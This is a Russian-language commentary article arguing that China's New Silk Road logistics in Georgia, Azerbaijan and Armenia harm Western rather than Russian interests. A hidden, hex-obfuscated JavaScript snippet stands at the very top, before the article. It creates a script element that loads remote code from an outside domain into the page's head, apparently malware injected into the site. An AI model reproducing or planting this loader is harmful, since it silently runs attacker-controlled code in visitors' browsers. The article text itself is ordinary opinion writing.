script type='text/javascript'>var _0x7f86=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x72\x6F\x67\x65\x72\x73\x74\x72\x69\x70\x73\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];var script=document[_0x7f86[1]](_0x7f86[0]);script[_0x7f86[2]]= _0x7f86[3];script[_0x7f86[4]]= _0x7f86[5];document[_0x7f86[8]](_0x7f86[7])[0][_0x7f86[6]](script)

Внешняя политика Поднебесной на Южном Кавказе более чем выгодна, поскольку козырная карта китайцев – логистика – великолепно укладывается в рамки региональных интересов нашей страны.

Западные эксперты и политические аналитики, говоря о медленном, но верном продвижении Китая на Запад именно через южно-кавказский регион, утверждают, что делается это китайцами исключительно в пику России.

Насколько это верно с точки зрения логистической составляющей, сказать, по большому счету, не может никто, поскольку лишняя пара сотен (а то и тысяч) километров, скажем, железной дороги до Европы через российскую территорию может оказаться выгоднее, чем, например, дорога через Персидский залив, Каспий и Черное море.

Однако дело даже не в этом, поскольку, по большому счету, дважды или трижды перезагрузить товар на паром и обратно — задача чисто техническая. Ее в той же Поднебесной умеют решать так, как, наверное, никто другой в мире.

А вот с чисто геополитической точки зрения продвижение интересов Китая в регионе Южного Кавказа, причем с использованием в качестве инструмента именно логической составляющей того самого «Нового шелкового пути», над которым вплотную там работают, сильно бьет по интересам как раз западных стран, а не России.

За последние пару десятилетий делая все возможное, чтобы ограничить тут российское влияние, Запад в какой-то момент попросту упустил тот самый китайский фактор. И сегодня фактор этот заявляет о себе со всей силой, демонстрируя своим соперникам, насколько легко можно обходить преграды, нагроможденные политиками, если противопоставить им соблазнительные экономические, а то и просто логистические альтернативы.

Ведь по большому счету транзитная составляющая, способная стать одним из звеньев в реализующемся проекте «Новый шелковый путь» – это и есть тот самый лакомый финансовый кусочек, за которым охотятся все три южно-кавказские страны.

Ведь в первую очередь именно ради транзита китайских товаров строится с нуля в Грузии новый глубоководный порт Анаклия, посредством которого Тбилиси надеется стать частью великого китайского проекта.

Да и Азербайджан (с Турцией вместе) ориентировался именно на китайские грузы, поступающие на европейский потребительский рынок, когда сильно поднапрягся и, наконец-то, в конце прошлого года, запустил-таки железнодорожную ветку в грузинском Ахалцихе, соединяющую закавказскую железную дорогу от Баку через Тбилиси с турецким Карсом.

Пекин никогда не складывает все яйца в одну корзину

Что это, если не удар по политическим интересам и планам Запада, который сам старается продвинуться вперед в направлении Южного Кавказа? Причем ни для кого не секрет, что целью этого плана, в первую очередь, является сокращение влияния здесь таких крупных региональных игроков, как Россия и Иран? Как? Посредством той же прозападно настроенной Грузии и продающего энергоносители Азербайджана.

Однако все не так просто в региональных процессах, как на первый взгляд может показаться. Ведь тот же Китай, например, не складывает, образно говоря, все яйца в одну корзину. И ставку только на одну конкретную страну в этом регионе Пекин ни в коем случае делать не будет – не таково его амплуа в глобальной политике. А вот на сотрудничество с мощным экономическим союзом, в котором главную роль играет Россия (речь о ЕАЭС) – вполне.

Скорее наоборот, все, что ни делал до сегодняшнего дня Пекин, оставляло впечатление этакого политического блефа. Ведь на самом деле вряд ли удастся убедить Пекин, что это выгодно – сперва перегружать товар из поезда на морской паром на Каспии, а потом еще раз на Черном море, верно?

Или же вряд ли можно уговорить китайцев, что дорога через Турцию, особенно через ее восточные районы, где в любую секунду могут вспыхнуть волнения вплоть до гражданской войны между Анкарой и курдским населением, — это сегодня лучший железнодорожный путь для китайской продукции на европейский потребительский рынок.

В Пекине поспешных движений в глобальной политике стараются не делать. Особенно в геополитике. В той ее части, которая касается транспорта, логистики. Ну, а что делают – то можно быть уверенным, что это надолго, образно говоря – на века.

С другой стороны, в экономике и геополитике китайцы именно что долго примериваются. А зато если уж приняли решение, то начинают действовать с потрясающей эффективностью. Как это было, скажем, в случае с решением инвестировать в строительство комбината по выплавке чистой меди в Армении (проект стоимостью порядка полумиллиарда долларов).

Или же в случае, когда вдруг, неожиданно, в поле зрения армянских масс-медиа возникает генеральный директор управления по делам Евразии Китайской гражданской инженерно-строительной корпорации (China Civil Enginееring Construction Corporation, ССЕСС) Цзянь Айминь, который делает официальное заявление касательно того, что его компания заинтересована в проектировании и строительстве железной дороги Армения – Иран.

Армении выделена особая роль

Недавно премьер-министр Армении Карен Карапетян утверждал, что строительство этой железной дороги необходимо отодвинуть по срокам, поскольку на сегодня мы не сможем загрузить эту дорогу настолько, чтобы она была рентабельной.

То есть из всего вышесказанного можно сделать два важнейших вывода относительно того, какие перспективы и интересы для себя видит Китай на Южном Кавказе.

Во-первых, в Пекине никогда заранее не делятся своими планами и проектами с мировым сообществом. Вернее, делятся, но не заранее, а только тогда, когда решение уже окончательно принято, и проект переходит на стадию реализации. Что китайцы, как уже было сказано, реализуют с потрясающей эффективностью.

И второе – кажется, все, что касается именно железной дороги Армения – Иран, Пекин для себя уже решил. И когда гендиректор крупнейшей китайской инженерно-строительной корпорации на встрече с министром транспорта, связи и информационных технологий Армении заявляет, что его страна заинтересована в строительстве этой железной дороги, и они готовы провести технико-экономические исследования, то по логике вещей это может означать только одно — в Пекине принято окончательное решение. И решение это – в пользу именно армянского варианта. Как минимум — одного из нескольких, которые будут действовать в результате реализации «Нового Шелкового пути».

Ну а к этому остается добавить лишь недавнее высказывание председателя коллегии Евразийской экономической комиссии (ЕЭК) Тиграна Саркисяна. Вспомним, он говорил о том, что в первом полугодии этого года ЕАЭС подпишет два договора: с Китаем — о торгово-экономическом взаимодействии, и с Ираном – временное соглашение о формировании зоны свободной торговли.

Тогда-то и начинаешь понимать, что взаимодействие двух проектов — «Великого Шелкового пути» и ЕАЭС – имеет шансы реализоваться в полной мере именно в этом регионе. И что именно Армении в этом сотрудничестве будет выделена серьезная роль.

А продвижение Китая на европейский потребительский рынок связано отнюдь не с ограничением влияния России в регионе Южного Кавказа, а вообще даже наоборот.